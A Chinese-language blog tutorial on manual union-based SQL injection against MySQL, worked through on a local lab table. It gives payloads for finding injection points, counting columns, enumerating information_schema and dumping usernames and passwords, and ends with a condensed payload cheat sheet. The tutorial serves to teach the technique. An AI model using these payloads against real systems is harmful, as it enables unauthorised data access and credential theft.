jsp页面判断输入编号已存在mysql中_网页渗透-现场教学Mysql手工注入

d294e6f3888ac7d0edcfc773c9b91b4e.png

917d1fe30a81f3a46a168fa3f43dd823.png


information_schema
SQL基础
1.1 什么是sql?
SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大的关系数据库语言,但其功能并不仅仅是查询。
1.2 mysql
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。来源于百度百科
SQL注入基础
2.1 什么是SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说,SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)来插入或修改后台SQL语句达到代码执行从而进行攻击的技术。
2.2 SQL注入攻击产生的原因
出现SQL注入攻击漏洞的主要原因是:许多网页程序员在编写代码的时候,没有对用户输入数据的合法性进行严格的判断和过滤,从而导致应用程序存在该漏洞。
2.3 mysql注入攻击的方法
对于mysql注入常用的方法主要是以下两种:(1)手工注入。(2)使用工具注入
2.4 mysql手工注入原理
在mysql手工注入中主要是利用mysql自带的information_schema数据库,information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。简单点说,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema数据库里面。
mysql手工注入详解
3.1 基本环境介绍
涉及数据库:learn,涉及表:users。

7366dfd53362bd811392bc485b997c7a.png


表users
3.2 判断注入点
and 1=1(正常显示), and 1=2(非正常显示) ,但不限于此。也可以是3>1(正常显示),3>5(非正常显示)等。
3.2.1判断uid是否存在注入点
本身查询语句为:SELECT uid,username FROM users WHERE uid=1

0994512e68ab75f730aad45bd613bceb.png


本身查询语句
3.2.2 判断原理
SELECT uid,username FROM users WHERE uid=1 and 1=1

1b543f6d26439af30d30a1e09d199d9d.png


正常显示
SELECT uid,username FROM users WHERE uid=1 and 1=2

858caa764b0163ff90f04879f9791ef9.png


非正常显示
3.3 查字段数
3.3.1 order by排序
order by 主要是用于排序,用法基本为:order by [ASC | DESC]
列名可以是select后面的列名,也可以是数字,代表第一列或第几列!查询字段数也是根据order by排序的列名可以是数字来进行判断的。
3.3.2 查当前查询中的字段数
本身查询语句:SELECT uid,username,phone FROM users WHERE uid=1

4e31d8fcdda3c53a9f2d7107ca0e0e28.png


本身查询结果
查当前字段数目(列数):order bySELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

38406f49744ed7c6f59336237f4271b5.png


正常显示
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

de4aa6c88d469cb6235b9e242e3b258a.png

非正常显示
因为当前页面查询的语句中只查询三个字段,所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数,前一个正常,后一个异常,那么该正常的就是当前查询中的列数。
3.4 查询字段在页面中的显示位置
联合查询数据显示位置,不成立条件+union select(如果前面是成立的话页面中会看不到想要的信息),也可以是 前面条件不变+union select + limit m,1。(如果看到页面中信息有union select查询中的数字时,那么也是可以看到字段显示在页面中的位置,但是如果查询信息过多的话则不适用,因此推荐使用前面的那种方式)。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

3882b4e9e5c03ab7bb1ae95fb5a5f11b.png


显示查询字段在页面中的位置
3.5 查询基本信息
查询基本信息主要是利用数据库中的内置函数来获取信息。1. version()——MySQL版本2. user()——用户名3. database()——数据库名4. @@datadir——数据库路径5. @@version_compile_os——操作系统版本我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

8e286d011c131c15fdfb08c5c41b2e01.png


查询基本信息
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

8cf36c0a0323f2b14cdf39411908ae64.png


查询基本信息
另外,我们可以使用字符串连接函数一次性查询多条信息:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)
0x3B是分隔符, ; 的十六进制!

2d77042d4fb5ec19ef2295f449464f21.png


使用连接函数查询多条信息

60b8fd10c80dc5c4f3b17157984340b5.png


连接函数例子
高级查数据库:SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1
LIMIT 9,1是从第9个数据库开始查询一条记录,使用这个可以逐个查询数据库中有哪些数据库。

70d3ce1bafc5e05cad306e3450705ef1.png


高级查数据库
只运行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

95454f68b112170a74f13e814c820218.png


limit m,n 例子
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

8fdafdd5d0e7d93da19a9041183c96fa.png


查询当前连接中有哪些数据库
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

6a91afee93d63cac96ade10cea07dcb9.png


查询当前连接中有哪些数据库
3.6 查表名
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

734ea06cbf8f2a90e678d76cfd76d071.png

报错
这里需要将数据库名转化为十六进制

b67f268037ffca6fc865fefa54ef79a3.png


转化为十六进制
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

051b09e29b3b205d5af758c253c7f347.png


查询指定数据库表名
只运行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

1277e3d5668d1050c398bd445bcdc746.png


原理

7eeb8e64183492a19e1db662d902c68a.png


原理
高级查表SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

4db37c8940b105dd22d9eb3fb36b773e.png


高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

00ac469df97da6e213e9191ca738c381.png


高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

1c4abeefe119ea3245915b64f2d85609.png


高级查表
3.7 查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

0477f2eb1d338e8f2b82557f66317159.png


查字段
这里可通过limit m,n循环查询,也可使用GROUP_CONCAT函数一次性查询。

19e12d042d96be8d7baf15d7112c1ca2.png


一次性查询
只运行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

e06ca509aecaa24d0f92fead50151782.png


原理
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

bd21dd4255ac3075e336f42b0df721d4.png


原理
这里可以使用limit m,n来逐个(limit m,1)查询。
高级查字段SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

871c1f33b773de2cd17cf49c91a288dc.png


高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

64a2d21b750b3a3bfd9c29a4c951e545.png


高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

82a47bbd2b7b0f5de3f0b4c9eabd5502.png


查字段

5a526cd7b99bbe2b309eb198ed84b8ab.png


查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

9ab9346cb5bcc2b8b4231e5603d6410e.png


高级查字段
3.8 查字段内容
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

486f7322b420b918dddb7c5b6c383ef5.png


查字段内容
这里可使用limit m,1来逐个查询,也可以使用GROUP_CONCAT函数一次性查询。

45c9b8e4791c18e2e4beb69cde2a2c55.png


使用连接函数
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

0e38f813bd217859833ae1f2c469f59f.png


连接函数一次性查询
工具注入
对于使用工具来进行注入,最好时首先手工判断下,如果是或者怀疑是,那么就可以丢给工具来进行注入。
4.1 SQL注入工具
工具有但不限于以下几种:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。
4.2 工具注入优缺点
工具注入是可以节省很多时间,但是仅仅靠工具也不一定能利用该漏洞,因为工具有自己的局限性,不如手工那么灵活,简单来说,如果应用程序有了一定的过滤,那么就需要灵活地使用手工注入,如果程序在把查询语句插入到数据库中时把过滤了,那么就可以根据这一特性进行简单的绕过,如union select 1,2,3。
information_schema简单介绍
直接上图
用于加深对上面涉及到的相关信息的理解。详细信息请自行查看information_schema数据库里面涉及的相关表信息!

3bfb1d4bf7a76561ece679ce23a5e3fa.png


information_schema

50f6e5150ddb8ceac18fd71a5cfdecdb.png


information_schema.columns

cfefb133d48969fe23ad8eb866b80c35.png


information_schema.schemata

3b97ef2f427a963c8bd4f869d6cbe658.png


information_schema.processlist

f1d884c1a047dbe7700889cabc9ac9ea.png


information_schema.tables

2c50f5d3c077c8d14c1ca061c7e27c83.png


information_schema.partitions
以上这么复杂纯属装逼,下面分享简单版的mysql手工注入!
UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata 查所有数据库
UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名' 查表
UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn' 查字段
union select group_concat(字段,字段) from 表名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值